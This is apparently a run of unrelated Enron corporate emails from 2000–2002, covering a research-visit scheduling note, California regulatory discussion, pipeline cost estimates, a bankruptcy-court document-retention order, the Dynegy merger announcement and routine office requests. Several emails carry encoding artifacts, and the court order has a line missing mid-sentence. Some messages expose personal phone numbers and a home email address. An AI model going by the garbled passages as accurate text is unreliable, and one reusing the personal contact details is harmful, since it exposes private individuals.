> Nick Bambos <bambos@stanford.edu> on 03/12/2000 05:32:35 PM
>
> To:   Vince.J.Kaminski@enron.com, bambos@stanford.Stanford.EDU
> cc:
> Subject:  Visit to Enron
>
> Hello Vince,
>
> It was nice seeing you at Stanford and many thanks for the lunch
> we had together. I really enjoyed our discussions, both at the
> technical level and otherwise.
>
> I promised to send you an e-mail regarding possible dates for
> a visit to Enron. I delayed it for a week till my schedule was
> clearer. Let's see if we can get a match with your schedule -
> mine is rather terrible:
>
> Friday, 21st of April looks good. But April 23rd is Easter
> Sunday, so that may make it difficult for some people at Enron
> to be around. Let me know if that is the case. I am willing to
> visit then, because the week after that I am scheduled to be in
> Japan and in the previous weeks I am all committed on Fridays.
>
> Friday, 19th of May is the next possibility, but this probably
> is too far out. The main problem is that I am operating within
> a window of opportunity for attracting top students for this
> research. This window closes by the end of April, and it would be
> important for the student support funds to be in place then, so
> that I can make hard commitments to students and attract top
> talent. I am already reviewing files of students who have
> approached me for PhD advising, and I am in a mode of doing "soft
> commitments to star-level students" to get this research and its
> potential on their radar screen. Top students are highly sought
> after by advisors and I want to be an early player in this
> competition.
>
> Does my visit to Enron have to happen before we can set up the
> project and student support at Stanford? If so, doing it before the
> end of April is important for getting top people. If the visit can
> happen after we get the ball rolling, then we can schedule it in May.
> I assume there will be multiple visits both ways when the project gets
> going. Please let me know what you think.
>
> Best Regards,
>
> Nick

Derek:
Mark has tried on several occasions to reach someone at talisman that could 
put him in touch with their lawyer with no success?  Can you assist?
carol

As promised in last week's meeting, attached is the transcript of Steve's voice mail.  Hope you all have a wonderful week.  Call me or e-mail if you need anything.

Thanks-
KB

Our first Working Group meeting is set for Friday, January 14, at 9:30 am 
Central Standard Time .  If you can't make it, please let me know and arrange 
for an alternate, if possible.  At this meeting, we will develop group 
objectives and some initial to-do's.  

If you have not yet responded with your personal information and suggested 
objectives, please do so prior to the meeting so we can update the agenda 
with everyone's responses.  Thank you!

TIME:   1/14/00  9:30 am CST to 11:30 am CST
Call in Numbers - US   (will be provided with final agenda)
International   (will be provided with final agenda)

In Houston, Room EB 4741

I.     Administrative Issues 
 a.  why a working group   
 b.  expectations                   

II.     Our group
 a.  roster                                 
 b.  suggested objectives    

III.    Consensus Group Objectives
 (develop single set for the group)

IV.   Identify initial set of subgroups
 a. purpose of subgroups        

Nope, not at this point.  Rather than start with money, we'd rather start 
with getting the rules (i.e., the IOUs) fixed so that there ain't regulatoy 
roadblock after roadblock standing in the way of deployment.  Sound 
reasonable?

"Schultz, Don" <dks@cpuc.ca.gov> on 08/31/2000 10:24:12 AM
To: "'jdasovic@enron.com'" <jdasovic@enron.com>
cc:  
Subject: RE: FW: current events

so I see ENRON remains in support of PPP extension; what about using these 
funds to help buy down the costs (to consumers) of micropower technologies, 
such as customer-side of the meter fuel cells and microturbines?

From: jdasovic@enron.com [mailto:jdasovic@enron.com] 
Sent: Wednesday, August 30, 2000 7:43 PM 
To: dks@cpuc.ca.gov 
Subject: RE: FW: current events 

Don:? See attached from today's WSJ. 

(See attached file: Efficiency bill running into opposition from 
governor.doc) 

Done!

	01/19/2001 09:17 AM
		 
		 cc: 
		 Subject: Credit contact

Tana -
Can you add Aparna Rajaram as a credit contact in our financial trading 
database?

Thanks.

Just a brief Update for you this week, including the latest major news in
the Energy industry, and a complete rundown of our upcoming conferences for
anyone who is thinking of attending, including our latest addition of The
Business of Fuel Cells for Transportation in Michigan next Spring.  Over the
next few days, keep a particularly close eye on our coverage of the
unfolding Enron saga, as we will be bringing you some of the very latest
breaking news as it happens...

All that remains is to wish everyone in North America a very Happy
Thanksgiving from all of us at Eyeforenergy.  If you have any comments or
enquiries about this Update, drop us a line at
mailto:bruno@eyeforenergy.com.

CONTENTS:

   -  EVENTS UPDATE: New EyeforFuelCells event announced for Detroit, 2002

   -  RECENT HEADLINES

EVENTS UPDATE

* The Business of Fuel Cells for Stationary Applications
  Le Plaza Hotel, Brussels
  November 27-28 2001

Our sister company, EyeforFuelCells is giving away a FREE ticket each week
for this groundbreaking European conference in Brussels later this month.
Organisations who will be represented at this event include Gaz de France,
DuPont, Johnson Matthey, Global Thermoelectric, Alstom Ballard, Cogen
Europe, the World Fuel Cell Council, the European Commission, ZeTek Power
Products, Honda Europe Power Equipment, the Royal Military Academy of
Belgium, Chevron Texaco, Metasource, Nuvera Fuel Cells Europe,
Siemens-Westinghouse Power Corp, and many more.

To enter the draw and for more information, please visit:
http://www.eyeforfuelcells.com/

* EEO Europe: Energy Trading in the New Economy
  Amsterdam, 19-21 February 2002

Following up for our sell-out conference in Phoenix, December 2001 that was
attended by over 250 CEO's, senior executives and press, and Energy
Exchanges Online II:  Energy Trading in the New Economy USA (September
2001), Eyeforenergy brings you the premier networking and discussion
conference for the energy trading community.  Meet, do business and discuss
the big issues over 2 days with the leaders in energy trading in Amsterdam.

To find out more information, including discounts for pre-registration,
speaking, sponsoring and exhibiting opportunities, click here:
http://www.eyeforenergy.com/eurotrading/

* Emissions Trading 2002
  Okura Hotel, Amsterdam, 19-21 February 2002

Emissions trading options are ripe for the picking - so how can you make
sure you're ready to profit from GHG?  Let's face it - you can't really
afford not to be, especially as the World Bank has estimated demand in the
international GHG trading system to be in the order of US$20 billion per
annum by 2010.

Eyeforenergy is delighted to bring you this event which will focus on how
you can best seize this exciting nwe market opportunity.  As ever, the
conference will be driven by the industry leaders in this arena, backed up
by expert advice from those helping the indsutry make the right moves in
emissions.

Click here for further information:
http://www.eyeforenergy.com/emissions/

* Weather Trading 2002

Today's business is all about risk and how to mitigate it. Weather
derivatives has become one of the key tools industries as wide ranging at
utilities, airlines, and agriculture have at hand to off-set risks
associated with temperature and precipitation.  With over 70% of Europe's
companies facing weather-related risk, knowing about the latest advances in
weather trading is a necessity.

Eyeforenergy's latest event will be run in conjunction with our European
online trading conference, Energy Trading in the New Economy, and
Eyeforenergy's Emissions Trading 2002 event, so you can learn about the
latest developments in energy and emissions trading all under one roof.

http://www.eyeforenergy.com/weather/

* The Business of Fuel Cells for Transportation
  Dearborn Hotel, Detroit, Michigan
  April 30 - May 1, 2002

As manufacturers are increasingly developing technologies with the energy
industry, the auto industry is globalising at an unprecedented rate and both
OEMs and suppliers are renegotiating their alternative vehicle programs.
This event will examine all possible applications in teh transport industry
including synergies with hybrid automobiles and the potentially lucrative
APU market.

Fueling infrastructure will also be covered and, with BP recently launching
Hydrogen fueling stations in Singapore, this issure could not be more timely
or pertinent.  If you have a story to tell, a product to promote or would
simply like to get the full lowdown on the movers and shakers in the
industry then, if you're not already in Detroit, you'll certainly want to be
there in April 2002.

For more information, please visit:

LATEST HEADLINES

Enron Deal on the Brink, Dynegy to Renegotiate Deal
http://www.eyeforenergy.com/content.asp?news=23227

AEP Ventures Into Renewable Energy
http://www.eyeforenergy.com/content.asp?news=23190

Shell Renewables Takes stake in U.S. Wind Power Market
http://www.eyeforenergy.com/content.asp?news=23057

General Motors Says Fuel Cells To Power Homes In Addition To Vehicles
http://www.eyeforenergy.com/content.asp?news=23052

NYMEX on a Roll, Sets Overnight Trading Record
http://www.eyeforenergy.com/content.asp?news=23051

Nuon Taps Sakonnet Technology's Trading and Risk Management Solution
http://www.eyeforenergy.com/content.asp?news=23144

This update is provided as part of the Eyeforenergy Briefing service.  In
addition to these updates, you will receive a comprehensive newsletter every
other week, with fresh in-depth analysis, reports and insights into the
issues currently affecting different areas of the energy industry.

To subscribe,
email:   <mailto:energynews-subscribe-request@peach.ease.lsoft.com>
or alternatively send a message to
         <mailto:bruno@eyeforenergy.com?Subject=BriefingSubscribe>

To unsubscribe,
email: <mailto:energynews-signoff-request@peach.ease.lsoft.com>
       <mailto:bruno@eyeforenergy.com?Subject=BriefingUnSubscribe>

Michael and JB,

Please note for inclusion in pro-formas.

Eric

From: 	Asante, Ben  
Sent:	Friday, October 19, 2001 2:22 PM
To:	Gadd, Eric
Cc:	Reinecke, Bryan
Subject:	O&M costs

Eric,
The O&M costs seem reasonable.
The pipe O&M is usually very very low compared to that of compression.
Since the pipe is about 80% of the total capex, the composite effect the total O&M per total capital tends to be very small (1.1% in this case).

Within ETS, the pipe O&M is typically $500-600/mile/year
The non-fuel O&M is about $35/HP/year.
If we use these benchmarks we come in lower than their estimates.
Martin Donnelly has confirmed that fuel is not included in this estimate.. it is captured in the toll.

Please let me know if you require further detail.
ben

Here is the abridged draft of the document for the presentation to Joe Sutton.

The 'expected loss' calculation in the previous version was intended to show 
the outcome if we assume some recovery of amounts owing from Vneshtopprom, 
but until we re-engage in the negotiation we can only speculate as to what 
this may be. Hence, we have restricted the analysis to the maximum exposure.

Please e-mail Kevin Sweeney and me with any comments/amendments.

Fernley

Edie,

Here is the updated EOL data for the Texas Region.  
2000 DATA
2000 EOL Trades = 13,500
2000 EOL Volume = 2.5 TCF

2001 DATA
2001 Plan EOL Trades = 17,500
2001 Plan EOL Trades/Month = 1,460
2001 EOL Volume = 3 TCF

Could you please update the plan numbers for Tom?

Thanks,

Eric

Please review the order below entered by the United States Bankruptcy Court of the Southern District of New York regarding document preservation.  You are instructed to comply with this order, effective immediately. 

The order requires that we retain all documents (in paper or electronic form) in existence on February 15.  Documents created after February 15 must be retained if, as the order states, the document contains information relevant to:  (1) any claim or defense that may be asserted in the bankruptcy by Enron or a party-in-interest; (2) the financial condition or otherwise in connection with the reorganization of Enron under the Bankruptcy Code; or (3) any governmental investigation or litigation now underway or commenced prior to the termination of this order concerning (a) Enron or any Enron-related affiliates or individuals, (b) present or former directors or officers of Enron, or (c) any affilitiates, subsidiaries, partnerships or joint ventures or other entities which, to Enron's knowledge, Enron or any Enron-related entity participated.

Please regard the terms of the Order as applying to all Enron companies, not just companies that are a part of the bankruptcy proceeding.  If you are uncertain whether you should retain any particular document, please call Bob Williams at extension 5-2402.  You should err on the side of retaining the document.

This order and email instruction supersede the previous order of the Bankruptcy Court and email to employees dated January 14, 2002.

Thank you.

The text of the order follows:

UNITED STATES BANKRUPTCY COURT
SOUTHERN DISTRICT OF NEW YORK
------------------------------x
In re:                        :
                              : Chapter 11
ENRON CORP., ET AL.           :
                              : Case Nos. 01-16034 (AJG)
                              :
              Debtors.        : Jointly Administered
                              :

STIPULATION AND CONSENT ORDER PURSUANT TO 11
U.S.C. ?? 105 AND 541 BY AND BETWEEN ENRON CORP.
AND ITS AFFILIATED DEBTORS-IN-POSSESSION AND THE
OFFICIAL COMMITTEE OF UNSECURED CREDITORS
REGARDING DOCUMENT PRESERVATION AND RETENTION

WHEREAS, Enron Corp. and its affiliated debtors-in-possession in these jointly administered Chapter 11
cases (collectively, "Enron") recognize that they have an
obligation to preserve all of the assets of their estates;

WHEREAS, Enron's documents, as that term is
defined in Rule 7026-1 of the Local Bankruptcy Rules for
the Southern District of New York, Civil Rule 26.3(c)(2) of
the Local Rules of the United States District Courts for
the Southern and Eastern Districts of New York and Rule
34(a) of the Federal Rules of Civil Procedure (see
Attachment A hereto) in Enron's possession, custody or
control (hereinafter "Documents"), constitute assets of
Enron's estates; and

WHEREAS, Enron recognizes that it must preserve
all of its Documents during the pendency of these Chapter
11 cases;

WHEREAS, Enron has represented that it has by
various e-mails, including one dated as recently as January
14, 2002, Enron has restated its Document retention
policies to all of its officers, directors and employees
and explained the need to preserve Enron's Documents in
accordance with then-existing policies;

WHEREAS, Enron has represented that it has placed
under lock-and-key all paper shredding machines located at
its headquarters in Houston, Texas;
WHEREAS, the Court, on consent of Enron and the
Creditors' Committee, issued an order dated January 25,
2002 relating to document preservation (see Attachment B
hereto).

IT IS HEREBY STIPULATED AND AGREED THAT:
1. Enron, and its officers and directors, shall
make reasonable efforts to ensure that none of Enron's
Documents shall be destroyed or wrongfully removed from
Enron's premises in a manner inconsistent with the terms of
the Order.

2. To the extent that Enron's Documents are in
the possession of its agents, accountants or any other
party which maintains documents for, on behalf of or for
the benefit of Enron, Enron shall in writing instruct such
persons to preserve Enron's Documents within ten (10)
business days of the date of this Order, such notice to
include a copy of this Order.

3. All Documents that were in the possession,
custody or control of Enron prior to the date of this
Order, shall be preserved and maintained by Enron and each
of its directors, officers and employees.

4. All Documents that come into the possession,
custody or control of Enron from and after the date of this
Order that contain information (i) relevant to any claim or
defense thereto that may be asserted in these chapter 11
cases by Enron or a party-in-interest, (ii) relevant to the
financial condition or otherwise in connection with the
reorganization of Enron under chapter 11 of the Bankruptcy
Code, or (iii) relevant to any governmental investigation
or litigation concerning Enron or any Enron-related
entities or individuals, present or former directors or
officers of Enron, and any affiliates, subsidiaries,
partnerships or joint ventures or other entities in which,
to Enron's knowledge, Enron or any Enron-related entity
participated (collectively, "Affiliated Entities") now
underway or commenced prior to the termination of this
of its directors, officers and employees, provided,
however, that this Order does not bar the ordinary course
disposal of Documents that come into Enron's possession or
are created by Enron after the date of this Order having no
reasonable or apparent connection to the items listed in
subparts (i), (ii) or (iii) of this paragraph.

5. Nothing contained in this Order shall: (a)
prevent Enron from using any Documents in the ordinary
course of business for any purpose necessary to the
reorganization effort; or (b) entitle any entity to
discovery other than pursuant to applicable law.

6. To the extent the Federal Bureau of
Investigation ("FBI") discloses to Enron its findings or
conclusions in connection with its investigation of alleged
document destruction on Enron's premises, and to the extent
the FBI permits Enron to disclose such findings or
conclusions, Enron shall report to the Court such findings
or conclusions concerning (a) whether Documents of Enron or
Affiliated Entities have been removed or destroyed since
the commencement of these Chapter 11 cases, and (b) in the
event the FBI investigation discloses that such Documents
were removed or destroyed, (i) the nature of such
documents, (ii) the person(s) responsible for such
destruction or removal, and (iii) measures being taken to
retrieve or restore such documents.

7. Within ten (10) business days after entry of
this Order, Enron's two most senior legal officers, two
most senior accounting officers, and its three other most
senior officers shall submit affidavits stating that such
persons have reviewed this Order, understand its terms, and
will make reasonable efforts to comply with the provisions
of this Order.

8. The terms of this Order shall supercede and
control any prior policy or announcement by Enron
concerning document preservation or destruction to the
extent such policy or announcement is less restrictive than
the terms of this Order.

9. Enron shall immediately post a copy of this
Order on Enron's intranet in such a way as to ensure that
this Order can be reviewed by all of Enron's officers,
directors and employees.

10. This Order shall be effective immediately
and shall remain in effect until modified by further Order
of this Court.

/s/ Luc Despins
The Official Committee of
Unsecured Creditors

By its counsel:

Luc A. Despins
New York, New York 10005

/s/ Martin Bienenstock
Enron Corp. and its affiliated
debtors-in-possession

Martin A. Bienenstock
767 Fifth Avenue
New York, New York 10153

IT IS SO ORDERED on this 15th day
of February, 2002

s/Arthur J. Gonzalez
Arthur J. Gonzalez
United States Bankruptcy Judge

Nuria_R_Ibarra@calpx.com on 04/28/2000 11:15:11 AM
To: richard.b.sanders@enron.com
cc:  
Subject: Letter from Pat Gillman

The attached letter is being sent to you from Patricia Gillman.

(See attached file: Sanders Letter 4_28_00.doc)

 - Sanders Letter 4_28_00.doc

All:

A couple of interested points from the CAISO report, in addition to the good 
points raised by Sue Mara:

During December and January, California relied on imports as much as it 
relied upon California non-utility-owned generation (p. 18).  Assuming a 70% 
capacity factor, the ISO said that in-state nonutility gen (i.e., Duke, 
Reliant, AES, Dynegy) is about 2,000 MW and the imports were about the same 
over the 55 day period analyzed.

There is no mention anywhere in the report regarding the level of scarcity in 
the state--nothing on reserve margins or outages.  Thus, there are huge holes 
in the analysis w.r.t. the claim that prices were unjust and unreasonable.

I spoke with Paige Cox and she will have a box setup at your location, when it arrives let me know and we will verify that stack and options manager are configured correctly.

-cb

Sent:	Tuesday, February 05, 2002 1:46 PM
To:	Bowling, Chris
Subject:	Stack and Option manager

I don't know if Bob hillier talked to you yet, but I need Stack and Option manager set up on a stand alone machine. I am moving to the power options group as of tomorrow.

My cell is 713 419 0203. Call with questions.

From: 	Ken Lay - Office of the Chairman  
Sent:	Friday, November 09, 2001 5:49 PM
To:	DL-GA-all_enron_worldwide1
Subject:	Enron Announces Plans to Merge with Dynegy

Today, we announced plans to merge with Dynegy, a major player in the energy marketplace and one of our largest counterparties.  Dynegy is a great company with businesses very similar to our own.  We believe merging with Dynegy is the best option to preserve our core businesses that you've worked so hard to build.  Following are the major components of the transaction.

Deal Terms

--	The transaction will constitute a stock for stock exchange based on an exchange ratio of 0.2685 Dynegy shares for every Enron share.  For example, each 1,000 shares of Enron stock will be converted to 268 shares of Dynegy upon closing, plus cash for fractional shares, upon closing.
--	ChevronTexaco owns approximately 26 percent of Dynegy's outstanding common stock.  ChevronTexaco will invest $1.5 billion in Dynegy immediately and an additional $1 billion in Dynegy on closing of the merger.  Dynegy will immediately invest $1.5 billion in cash in Enron's Northern Natural Gas subsidiary in exchange for preferred stock in Northern Natural Gas.
--   Total outstanding shares of the combined company are expected to be approximately 700 million shares.
--   The transaction is subject to shareholder and regulatory approvals, and is expected to close late next year.

Enron will have immediate access to Dynegy's $1.5 billion cash investment in Enron's Northern Natural Gas subsidiary.

Management of Newly Formed Company

Chuck Watson will be chairman and CEO of the newly formed company, which will be called Dynegy Inc., and Steve Bergstrom will be president and COO.

I will continue to serve as chairman and CEO of Enron until the transaction closes.  I will not join the Dynegy Office of the Chairman.  Greg Whalley will continue to serve as president and COO of Enron until the transaction closes.  Then he will become an executive vice president of the new company and will join the Dynegy Office of the Chairman.  Mark Frevert will continue as vice chairman of Enron.

Management from Enron and Dynegy will work together to ensure a smooth, efficient integration.  The make-up of the integration team has not yet been determined.

The merger will be a long and complex process and is expected to close by the end of the third quarter 2002.  This merger will create an enormous growth engine, providing great opportunities for our employees, shareholders and customers.  As with any merger, some elimination of positions is almost inevitable, and one of our key tasks will be to identify the optimal structure of the new company.  We hope to be able to address any need for work force reductions through attrition and hiring reductions.  Clearly, we cannot rule out involuntary separation, but Dynegy is motivated to identify and retain the best talent from both organizations.  I promise you that I will do everything I can to make this transition as smooth as possible.

As I said in my video, this is a day like no other in our company's history.  We considered several options, but we believe that this merger with Dynegy is the best option to help rebuild investor and market confidence, strengthen our balance sheet and preserve our core businesses.

I know you have a lot of questions about this transaction and about next steps.  We have a list of frequently asked questions posted at <http://home.enron.com/updates/>.  If you have additional questions, please submit them to questions@enron.com <mailto:questions@enron.com>.  We will post updates as soon as we have answers to your questions.  If you receive any calls from the media, please refer them to our media team at (713) 853-5670.

I ask you to consider the enormously bright future of the newly formed company.  Rather than closing doors, we are opening new ones, as this deal enables the customers and shareholders of both companies to participate in the tremendous benefit of the combined enterprise, including our market reach, financial strength and industry experience.  Together, we will be a new merchant powerhouse.

And again, thank you for everything you have done for Enron.

Investors and security holders are urged to carefully read the joint proxy statement/prospectus regarding the proposed transactions when it becomes available, because it will contain important information.  Investors and security holders may obtain a free copy of the joint proxy statement/prospectus (when it is available) and other documents containing information about Dynegy and Enron, without charge, at the SEC's web site at www.sec.gov.  Copies of the joint proxy statement/prospectus and the SEC filings that will be incorporated by reference in the joint proxy statement/prospectus may also be obtained for free by directing a request to either:  Investor Relations, Dynegy Inc., 1000 Louisiana, Suite 5800, Houston, TX 77002, Phone:  (713) 507-6400, Fax:  (713) 507-6808; or Investor Relations, Enron Corp., 1400 Smith Street, Houston, TX 77002, Phone:  (713) 853-3956, Fax:  (713) 646-3002.

In addition, the identity of the persons who, under SEC rules, may be considered "participants in the solicitation" of Dynegy and Enron shareholders in connection with the proposed transactions, and any description of their direct or indirect interests, by security holdings or otherwise, are available in an SEC filing under Schedule 14A made by each of Dynegy and Enron.

Attached are the Year-to-date deals through 10/17/01.

Seabron

 - 01-07-07-SA Draft policy paper - revised.doc

Please remove my name from you distribution.

---------------------- Forwarded by Steven J Kean/HOU/EES on 04/20/2000 09:04 

Kelly Kimberly@ENRON_DEVELOPMENT
04/19/2000 11:55 AM
To: rex rogers, diomedes christodoulou, j mark metts, mitch taylor, randy 
young, bruce harris, ed graham, steven j kean
cc: keith miceli 
Subject: Something to shoot at--California

Attached are three documents for your consideration:

--Q and As if there is a leak about the possible sale, but we don't want to 
admit it (qanoadmit)

--News release if the leak runs amok and it is determined that we must 
divulge--either for shareholder reasons or severe reputation 
problems/miconceptions.  (leaknr)

--Q and As to accompany news release.  I suppose another option is having a 
statement and Q and As ready without a release, but I don't think this gives 
us the control we would need.  (qaadmit)

Please review and comment by end of next week.  Thanks.

The subject volume was revised from 35,517 to 38,488 effective 12/5/00.

Bob

Dear Team--

	We are evaluating the potential sale of TW's existing 20-inch diameter Gomez lateral in Pecos and Ward County, Texas and have executed a confidentiality agreement with the proposed buyer (Pioneer Gas Pipeline).  The buyer would like to begin the due diligence process as early as possible and has asked to review  info related to the following:

	1) Maintenance records for last 3 years
	2) right-of-way / easement agreements

The potential benefits to TW of this transaction include 1) monetizing an asset that today is generating zero value and 2) creating a new source of gas supply into TW from the buyer.

Questions I have are:

	a) Can we designate a "point" person from the Monahans Team that I can coordinate with and who would that be?
	b) Where / who has the records & documents for the items above?

Your timely response is greatly appreciated.  Please coordinate with me all questions / concerns.  I ask that no information (verbal or written) be passed to any interested outside party without prior clearance with me.   

thanks for your help!!  I can be reached in Houston at 713-853-5559.

Director, Asset Development

I am not sure I understand what you need here?

From: Hayslett, Rod 
Sent: Monday, November 26, 2001 4:18 PM
Subject: Re: 

Do you want Paul involved in this process?
----- Forwarded by Brent Hendry/NA/Enron on 11/04/2000 08:17 AM -----

	Andrea Calo
	11/03/2000 04:33 PM
		 
		 To: mtalo1@enron.com, Brent Hendry/NA/Enron@Enron
		 cc: 
		 Subject: Enron Online Argentina Power

As you can see, Mike has decided to move forward at an accelerated pace. 
However,  I don't think he clearly understands that putting together (or 
adapting) a contact for this purpose is something that can be carried out 
over night.  Jeff Kabel has asked me to join him in discussions with you and 
Paul Simons on Monday.  Please advise if this is of your convenience and if 
so what time.  Thanks.

Andrea
 
---------------------- Forwarded by Andrea Calo/SA/Enron on 11/03/2000 07:30 

Michael Guerriero
11/03/2000 06:53 PM

To: Patrick Hansen/SA/Enron@Enron, Andrea Calo/SA/Enron@Enron, Mario Aguilar 
Benitez/SA/Enron@Enron, Julian Poole/SA/Enron@Enron, Carlos 
Bastos/SA/Enron@Enron, Bernardo Andrews/SA/Enron@Enron, Jeff 
Kabel/SA/Enron@Enron, Scott Mills/HOU/ECT@ECT, Carlos Alatorre/NA/Enron@Enron
cc: Mark Taylor/HOU/ECT@ECT, Brent Hendry/NA/Enron@Enron, Lynn 
Aven/NA/Enron@Enron, Cristian Folgar/SA/Enron@Enron, Guillermo 
Canovas/SA/Enron@Enron, Joe Kishkill/SA/Enron@Enron, Don 
Black/SA/Enron@Enron, David Forster/Corp/Enron@Enron 
Subject: Enron Online Argentina Power

As a result in administrative mistakes by the Secretary of Energy in the 
drafting of the new Argentina power resolutions we will be delayed in 
initiating Argentina physical power products. We tried to resolve these 
errors immediately but with out success. I believe a clean resolution will 
take another month to achieve.

Recognizing the urgency of getting power products up and running I am 
requesting we immediately advance with the establishment of an offshore 
financial product via Enron North America. This is the quickest way to get 
flexible power products online. To achieve this end we need to immediately 
address the contract format of a financial agreement we are capable of 
contracting under in Argentina today. I request the legal and commercial 
teams address this issue and develop a solution as soon as possible.

We will then roll out the product we have already designed to meet the needs 
of the current market. We will need to coordinate with Enron North America 
and facilitate as much as possible to avoid conflicting with their objectives.

Please initiate the process of getting Argentina power online as soon as 
possible.

MFG
   
A Conference call to discuss any comments we may want to make on the CPUC's Proposed Decision in the GIR Proceeding has been scheduled for Wednesday, Oct. 17, 2001 at 11:00 AM Houston/Omaha time and 9:00 AM California time.  The dial-in # is 1-877-795-3687 code: 350955.  In Houston, Conf. Rm. 1336 has been reserved for the call.  

Garrett, 

I do have E.'s home email address - emainzer@attbi.com.  Thought you might like it.  Talk to you soon!

Kim

No reason to be other at this point.

From: 	Martin, Jerry D.  
Sent:	Wednesday, November 14, 2001 9:22 PM
To:	Lowry, Phil; Hayslett, Rod
Subject:	FW: Verification of GTB finances

FYI.  Recall that I directed Arnold to request this as a result of my conversations with Pete Weidler - he wanted to ensure we didn't get too far out in front on expenditures.  I'm going to ask Arnold to indicate that it is our normal review process, unless you guys disagree.

Jerry

From: 	Swinford, Brian  
Sent:	Wednesday, November 14, 2001 8:43 PM
To:	Eisenstein, Arnold L.
Cc:	Martin, Jerry D.

Arnold,

I'm in Bolivia this week, returning to Houston over the weekend and then going on to Miami for meetings with GTB's lenders, Exim and CAF.  I will bring the information you requested back with me and give it you when I get back into the office the week after Thanksgiving.  In summary, GTB is in good shape....we raised $10MM more in bridge loans than we planned and are making good progress with our Exim and CAF financing.  The lenders have completed their due diligence and we are meeting next week to finalize term sheets before the lenders go to their respective boards for credit approval.  

Just curious...is this request in accordance with your regularly scheduled review process or something more?  GTB's financial condition if anything has improved since the EPC contract was signed...wish we could say the same for Enron.

BRS 

From: 	Woods, Ryan  
Sent:	Wednesday, November 14, 2001 2:34 PM
To:	Lyons, Leigh; 'leigh.lyons@transredes.com'
Cc:	Swinford, Brian; Cherry, Paul; Martin, Jerry D.; Eisenstein, Arnold L.; Pebdani, Nasser; 'donald.macrae@transredes.com'; 'michael.brady@transredes.com'
Subject:	Verification of GTB finances

 << File: GTB Ltr 11.14.01.pdf >> 

MARK YOUR LUNCH CALENDARS NOW !

You are invited to attend the EWS Brown Bag Lunch Series

Featuring:  THE MAP GUYS
Keith Fraley and Peter Hoyt

Topic:  Visualizing your Data and Marketplace

Enhance your market analysis and decision-making capabilities with our commodity-specific geographic information and customized applications.

Thursday, October 18, 2001
11:30 a.m. - 12:30 p.m.
EB 5C2

You bring your lunch,								RSVP email to
We provide drinks and dessert.							 Kathie Grabstald
											  or call x 3-9610

That was pretty good!

	Keegan Farrell@ENRON
	03/15/01 04:44 PM
		 
		 To: Shawna Flynn/HOU/ECT@ECT
		 cc: (bcc: Tana Jones/HOU/ECT)
		 Subject: Caught!!!

An unlikely pair.....

Why didn't we have the following language in the tax payment section:
=01;
.=01; "In no event shall Payments in Lieu of Taxes include, apply to, or be=
=20
required to be made for Real Property Assets and/or Tangible Personal=20
Property exempt under Florida Statutes in existence as of the Effective Dat=
e=20
or any date prior to commencement of operations of the proposed Facility, a=
s=20
such statutes may be amended from time to time."
=01;
Somehow this was missed because we didn't follow the Pompano form closely=
=20
enough...=01;
From: Krimsky, Steven=20
Sent: Thursday, June 07, 2001 11:21 AM
To: Jacoby, Ben; Mann, Kay
Subject: FW: Deerfield Beach Energy Center

This is the City's red-line against our draft.
=01;
I will call to discuss.
=01;
Steve

From: Andy Maurodis <attorney03@deerfieldbch.com>@ENRON=20
Sent: Thu 6/7/2001 10:31 AM=20
To: 'orshefskyd@gtlaw.com'=20
Cc: Krimsky, Steven; Jacoby, Ben=20
Subject: Deerfield Beach Energy Center

attached is revised agreement (staff presently reviewing).

Please acknowledge receipt.

Andy Maurodis

=01;<<73PB05! (1).DOC>>

=01;- 73PB05! (1).DOC <<73PB05! (1).DOC>>

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Coming Full Circle: A Plausible Future for Power Generation

Speaker:
Amy Oberg
Manager, Competitive Intelligence and Future Foresight

Wednesday, May 30
EB 5C2

To Make a Reservation, Call 3-1941 and Select Option 1.

Please inform us ahead of time if you need special accommodations to 
participate in this meeting.  Call 3-9390.

Mike,

I sent an inquiry to RISK. The problem is that they lost
16 people in the terrorist attack on WTC and the names
haven't been released. The chances are I sent a message
to a person who is swamped with work or will not respond at all.

We have to wait a few days.

Vince

From: 	Grimes, Michael  
Sent:	Wednesday, October 03, 2001 3:44 AM
Subject:	Japanese Translation

Vince - 

	Joe Hirl mentioned this morning that "the risk book" that Enron wrote will be published in Japanese in the near future.  Can you tell me who would kinow the publication details so that we can try to use it in suport of our publicity efforts for Enron in Japan?

Thanks,

Mike

81.3.5219.4584

Corey:  I spoke to WorldCom this morning and they are in the process of trying to find some vanity numbers with UBS as the prefix.  Before I can order the new numbers, I need to know where to bill them.  I am having them set up a separate billing account for UBS, but I need to know who is going to be responsible for the bill.  Also, I need to know what number these toll free numbers are going to be directed to.   Are the phones already setup or is it going to be a new application?  Let me know and I'll get it going.  Thanks!

Kathy

From: 	Bentley, Corry  
Sent:	Tuesday, February 05, 2002 12:10 PM
To:	Link, Kathy
Cc:	Baughman Jr., Don; Will, Lloyd; Black, Tamara Jae
Subject:	New UBS Numbers

Kathy,

We are requesting three new numbers for UBS Warburg Energy to replace the (soon to be) Enron Estate numbers.

1)  We will need two (2) toll free numbers.  
If possible, a 927 (WAR) or 827 (UBS) prefix and sequential numbers is desired.  For example, our search showed 1-866-927-1401 and 1-866-927-1402 are available.

2)  Also, we need a local number for a dedicated fax line.

Please contact TJae Black, Lloyd Will or me for any further information you may need.

Thanks,

Corry Bentley
713-853-0421

T. Jae Black
713-853-5800

Lloyd Will
713-853-3383

put it in the system

	From:  David Baumbach                           10/19/2000 01:12 PM
	
cc:  
Subject: pick up

Go ahead and pick up Styth and drop Ward

Dear Priscilla,

Attached is Enron North America's GISB with special provisions.  

Please give me a call at your convenience, to discuss this agreement.

dperlin@enron.com   

NIck:

Do we have an erergy meeting scheduled in September.  Let's talk about this.  
We could do it in either London or Frankfurt doing the week of the board 
meeting.   Let me know your thoughts on this.

Mark

TO:ALL NYMEX DIVISION MEMBERS AND MEMBER FIRMS
ALL COMEX DIVISION MEMBERS AND MEMBER FIRMS

FROM:Neal Wolkoff, Executive Vice President

SUBJECT:Approved Amendment to the NYMEX Platinum and Palladium Futures=20
Contracts to Add Brink=01,s Inc. as an Exchange Licensed Depository.

The Exchange has received approval from the Commodity Futures Trading=20
Commission to amend Supplement No. 1 of the NYMEX Platinum and Palladium=20
Futures Contracts to add the Brink=01,s Inc. vault facility located at 652 =
Kent=20
Avenue, Brooklyn, New York as a Licensed Depository for the storage of=20
platinum and palladium deliverable against the Exchange=01,s Platinum and=
=20
Palladium Futures Contracts.  Brink=01,s Inc=01,s charges for platinum and=
=20
palladium are attached.

The approved amendment is effective October 1, 2000.

Copies of the approved amendment are attached.  CAPITAL LETTERS indicate=20
additions, bracketing [ ] indicates deletions.

